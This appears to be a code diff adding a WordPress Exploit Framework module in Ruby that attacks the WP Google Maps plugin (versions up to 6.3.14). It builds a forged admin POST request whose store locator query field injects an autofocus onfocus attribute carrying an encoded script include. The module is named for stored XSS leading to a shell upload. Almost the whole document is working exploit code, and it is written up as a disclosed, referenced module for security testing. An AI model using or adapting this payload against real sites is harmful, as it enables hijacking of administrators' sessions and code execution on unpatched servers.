|
| 1 | +class Wpxf::Exploit::WpGoogleMapsStoredXssShellUpload < Wpxf::Module |
| 2 | + include Wpxf::WordPress::StagedReflectedXss |
| 3 | + |
| 4 | + def initialize |
| 5 | + super |
| 6 | + |
| 7 | + update_info( |
| 8 | + name: 'WP Google Maps <= 6.3.14 Stored XSS Shell Upload', |
| 9 | + author: [ |
| 10 | + 'Sipke Mellema', # Disclosure |
| 11 | + 'Rob Carr <rob[at]rastating.com>' # WPXF module |
| 12 | + ], |
| 13 | + references: [ |
| 14 | + ['WPVDB', '8653'], |
| 15 | + ['URL', 'https://sumofpwn.nl/advisory/2016/persistent_cross_site_scripting_in_wp_google_maps_plugin_via_csrf.html'] |
| 16 | + ], |
| 17 | + date: 'Nov 10 2016' |
| 18 | + ) |
| 19 | + end |
| 20 | + |
| 21 | + def check |
| 22 | + check_plugin_version_from_changelog('wp-google-maps', 'readme.txt', '6.3.15') |
| 23 | + end |
| 24 | + |
| 25 | + def vulnerable_url |
| 26 | + normalize_uri(wordpress_url_admin, 'admin.php?page=wp-google-maps-menu&action=edit&map_id=1') |
| 27 | + end |
| 28 | + |
| 29 | + def initial_script |
| 30 | + create_basic_post_script( |
| 31 | + vulnerable_url, |
| 32 | + 'wpgmza_id' => '1', |
| 33 | + 'wpgmza_start_location' => "#{Utility::Text.rand_numeric(2)}.#{Utility::Text.rand_numeric(15)},-#{Utility::Text.rand_numeric(3)}.#{Utility::Text.rand_numeric(14)}", |
| 34 | + 'wpgmza_start_zoom' => '2', |
| 35 | + 'wpgmza_title' => Utility::Text.rand_alpha(10), |
| 36 | + 'wpgmza_width' => '100', |
| 37 | + 'wpgmza_map_width_type' => '%', |
| 38 | + 'wpgmza_height' => Utility::Text.rand_numeric(3), |
| 39 | + 'wpgmza_map_height_type' => 'px', |
| 40 | + 'wpgmza_map_align' => '1', |
| 41 | + 'wpgmza_map_type' => '1', |
| 42 | + 'wpgmza_theme_data_0' => '', |
| 43 | + 'wpgmza_store_locator_restrict' => 'ad', |
| 44 | + 'wpgmza_store_locator_query_string' => ":i8gr4\\\"onfocus=\\\"#{xss_ascii_encoded_include_script}\\\"autofocus=\\\"", |
| 45 | + 'wpgmza_store_locator_bounce' => 'on', |
| 46 | + 'wpgmza_max_zoom' => '1', |
| 47 | + 'wpgmza_savemap' => 'Save Map', |
| 48 | + 'wpgmza_edit_id' => '', |
| 49 | + 'wpgmza_animation' => '0', |
| 50 | + 'wpgmza_infoopen' => '0' |
| 51 | + ) |
| 52 | + end |
| 53 | +end |
0 commit comments